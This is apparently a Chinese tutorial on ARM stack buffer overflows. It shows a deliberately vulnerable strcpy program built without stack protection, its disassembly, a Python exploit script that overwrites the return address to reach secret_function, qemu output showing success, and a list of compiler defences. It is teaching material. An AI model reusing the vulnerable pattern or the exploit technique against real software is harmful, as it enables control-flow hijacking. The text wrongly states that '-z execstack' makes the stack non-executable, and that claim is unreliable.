目录
1.什么是堆栈溢出漏洞?
堆栈溢出漏洞是一种常见的安全漏洞,通常发生在程序使用不安全的字符串处理函数时。当程序尝试将超过预定大小的数据写入栈上分配的内存区域时,就会导致堆栈溢出。这种漏洞可能被攻击者利用,以覆盖返回地址或其他重要数据,从而控制程序的执行流。
2.漏洞原理
让我们通过一个简单的 C 语言示例来说明堆栈溢出漏洞的原理。
#include <stdio.h>
#include <string.h>
void secret_function() {
printf("You've been hacked!\n");
}
void vulnerable_function(char *input) {
char buffer[10]; // 定义一个大小为 10 的字符数组
strcpy(buffer, input); // 不安全的字符串复制
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <input_string>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]); // 调用易受攻击的函数
return 0;
}
将上述代码保存为,vulnerable.c。在这个示例中,vulnerable_function
使用 strcpy
将输入字符串复制到 buffer
中。由于 strcpy
不检查目标缓冲区的大小,如果输入字符串的长度超过 10 个字符,就会导致堆栈溢出。
采用交叉编译器将上述代码进行编译,采用如下命令。
arm-linux-gnueabi-gcc -o vulnerable_program vulnerable.c -fno-stack-protector
截取其中vulnerable_function的汇编代码如下:
.text:0001047C 00 48 2D E9 PUSH {R11,LR}
.text:00010480 04 B0 8D E2 ADD R11, SP, #4
.text:00010484 18 D0 4D E2 SUB SP, SP, #0x18
.text:00010488 18 00 0B E5 STR R0, [R11,#src]
.text:0001048C 10 30 4B E2 SUB R3, R11, #-dest
.text:00010490 18 10 1B E5 LDR R1, [R11,#src] ; src
.text:00010494 03 00 A0 E1 MOV R0, R3 ; dest
.text:00010498 A5 FF FF EB BL strcpy
.text:0001049C 00 00 A0 E1 NOP
.text:000104A0 04 D0 4B E2 SUB SP, R11, #4
.text:000104A4 00 88 BD E8 POP {R11,PC}
堆栈变化过程
当输入字符串的长度超过 10 字节时,strcpy
将继续写入 buffer
之后的内存区域,可能会覆盖返回地址或其他重要数据。以下是堆栈的变化过程:
函数调用时的堆栈状态:
|------------------| <- sp (栈指针)
| 返回地址 | <- 之前的返回地址(main 函数的地址)
|------------------|
| r11 保存的值 | <- 保存的 r11
|------------------|
| buffer[10] | <- buffer 的空间(10 字节)
|------------------| <- sp - 18 (分配的堆栈空间)
- 返回地址:保存调用
vulnerable_function
的函数的返回地址。 - r11 保存的值:保存
r11
的值,以便在函数返回时恢复。 - buffer:为
buffer
分配了 10 字节的空间。
调用 strcpy
当执行到 strcpy(buffer, input)
时,如果输入字符串的长度超过 10 字节,堆栈的变化过程如下:
假设输入字符串为 "AAAAAAAAAAAAAA"
(16 字节),堆栈状态在调用 strcpy
时会变为:
|------------------| <- sp (栈指针)
| 被覆盖的地址 | <- 被覆盖的返回地址(可能是攻击者指定的地址)
|------------------|
| r11 保存的值 | <- 保存的 r11,被覆盖
|------------------|
| AAAAAAAAAAAAAA | <- buffer[0-9]
|------------------| <- sp - 18 (分配的堆栈空间)
在这个情况下,返回地址被覆盖为攻击者构造的地址(例如,指向 secret_function
的地址)。因此,当函数返回时,程序将跳转到攻击者指定的位置,而不是返回到原来的调用者。
3.漏洞利用
攻击者可以构造一个特定的输入字符串,使其长度超过目标缓冲区的大小,从而覆盖返回地址并使程序跳转到攻击者控制的代码。例如,攻击者可以使用以下 Python 脚本构造攻击载荷:
import sys
# 构造输入字符串
buffer_size = 10
return_address = b'\x60\x04\x01\x00' # secret_function 的地址(0x00010460)
# 构造输入字符串
payload = b'A' * (buffer_size+2 +4) + return_address # 保证4字节对齐,再覆盖保存r11的内存地址,最后覆盖保存lr的内存地址
# 输出字节
sys.stdout.buffer.write(payload)
将上述代码保存为exp.py,secret_function的程序地址可以通过静态分析工具获取,例如IDA。
运行:
python3 exp.py >payload.bin
可生成负载paylod.bin
采用qumu-arm模拟器验证负载是否触发漏洞执行,执行如下代码:
qemu-arm -L /usr/arm-linux-gnueabi ./vulnerable_program `<payload.bin`
打印结果如下:
./vulnerable_program `<payload.bin`
bash: 警告: 命令替换:忽略输入中的 null 字节
You've been hacked!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
段错误 (核心已转储)
说明执行了secret_function函数。
4.防范堆栈溢出漏洞的方法
为了防止堆栈溢出漏洞,可以采取以下几种措施:
1). 使用安全的字符串处理函数
使用安全的字符串处理函数,如 strncpy
或 snprintf
,可以防止缓冲区溢出。例如,使用 strncpy
时可以指定最大复制长度:
strncpy(buffer, input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0'; // 确保字符串以 NULL 结尾
2). 增加安全机制
在编译过程中,可以启用多种安全机制来增强程序的防护能力:
-
堆栈保护:使用
-fstack-protector
编译选项,可以在函数中插入金丝雀值,以检测堆栈溢出。当前的新版本gcc已经默认开启了堆栈保护功能。
增加该机制后,重新编译上述程序的汇编代码如下:
.text:00010518 00 48 2D E9 PUSH {R11,LR}
.text:0001051C 04 B0 8D E2 ADD R11, SP, #4
.text:00010520 18 D0 4D E2 SUB SP, SP, #0x18
.text:00010524 18 00 0B E5 STR R0, [R11,#src]
;下面这段代码加载堆栈金丝雀值(stack canary)并将其存储在栈帧中的某个位置。这是堆栈保护机制的关键部分。
---------------------------------------------------------------------------------------
.text:00010528 40 30 9F E5 LDR R3, =off_1065C
.text:0001052C 00 30 93 E5 LDR R3, [R3] ; __stack_chk_guard__GLIBC_2.4
.text:00010530 08 30 0B E5 STR R3, [R11,#var_8]
----------------------------------------------------------------------------------------
.text:00010534 00 30 A0 E3 MOV R3, #0
.text:00010538 14 30 4B E2 SUB R3, R11, #-dest
.text:0001053C 18 10 1B E5 LDR R1, [R11,#src] ; src
.text:00010540 03 00 A0 E1 MOV R0, R3 ; dest
.text:00010544 A1 FF FF EB BL strcpy
.text:00010544
.text:00010548 00 00 A0 E1 NOP
;下面这一段代码检查堆栈金丝雀值是否被篡改。如果金丝雀值被修改(即发生了堆栈溢出),程序将调用 __stack_chk_fail 函数,通常会导致程序崩溃并输出错误信息。
----------------------------------------------------------------------------------------
.text:0001054C 1C 30 9F E5 LDR R3, =off_1065C
.text:00010550 00 20 93 E5 LDR R2, [R3] ; __stack_chk_guard__GLIBC_2.4
.text:00010554 08 30 1B E5 LDR R3, [R11,#var_8]
.text:00010558 02 20 33 E0 EORS R2, R3, R2
.text:0001055C 00 30 A0 E3 MOV R3, #0
.text:00010560 00 00 00 0A BEQ loc_10568
.text:00010560
.text:00010564 96 FF FF EB BL __stack_chk_fail
----------------------------------------------------------------------------------------
.text:00010564
.text:00010568 ; ---------------------------------------------------------------------------
.text:00010568
.text:00010568 loc_10568 ; CODE XREF: vulnerable_function+48↑j
.text:00010568 04 D0 4B E2 SUB SP, R11, #4
.text:0001056C 00 88 BD E8 POP {R11,PC}
这部分原理介绍在我之前的文章最简单的STM32库函数HAL_GPIO_ReadPin的汇编代码分析_stm32gpio汇编-CSDN也有提及,感兴趣的读者可以访问一下。
-
不可执行堆栈:gcc编译时使用
-z execstack
选项可以将堆栈标记为不可执行,防止在堆栈上运行恶意代码。工作原理: 不可执行堆栈(NX)标记防止在堆栈上执行代码。即使攻击者成功将恶意代码写入堆栈,试图通过堆栈溢出来执行该代码也会失败,因为堆栈被标记为不可执行。
-
地址空间布局随机化(ASLR):虽然 ASLR 通常在操作系统级别启用,但确保它被启用可以增加攻击的难度。工作原理: ASLR 随机化程序、库、堆和栈的内存地址,使得攻击者难以预测目标地址。即使攻击者能够利用堆栈溢出漏洞,随机化的地址会使得攻击变得复杂和困难。
-
位置无关执行(PIE):使用
-fPIE
和-pie
选项生成位置无关的可执行文件。工作原理:位置无关执行(PIE)使得可执行文件在运行时随机化其加载地址。攻击者无法预测代码的确切位置,从而降低了利用漏洞的成功率。 -
完整性保护(RELRO):使用
-Wl,-z,relro
和-Wl,-z,now
选项来启用全局变量和函数指针的完整性保护。工作原理: 完整性保护(RELRO)防止在程序运行时修改全局变量和函数指针。通过将数据段标记为只读,攻击者无法通过修改全局变量来实现控制,从而提高了程序的安全性。
3). 使用 checksec
查看安全机制
checksec
是一个用于检查可执行文件安全特性的工具。可以使用它来查看编译的程序是否启用了上述安全机制。
checksec --fortify-file ./vulnerable_program
5.总结
堆栈溢出漏洞是一种严重的安全风险,攻击者可以利用它来控制程序的执行流。通过使用安全的字符串处理函数和启用多种安全机制,可以有效地防止此类漏洞的发生。定期使用工具如 checksec
来检查程序的安全特性,将有助于提高系统的整体安全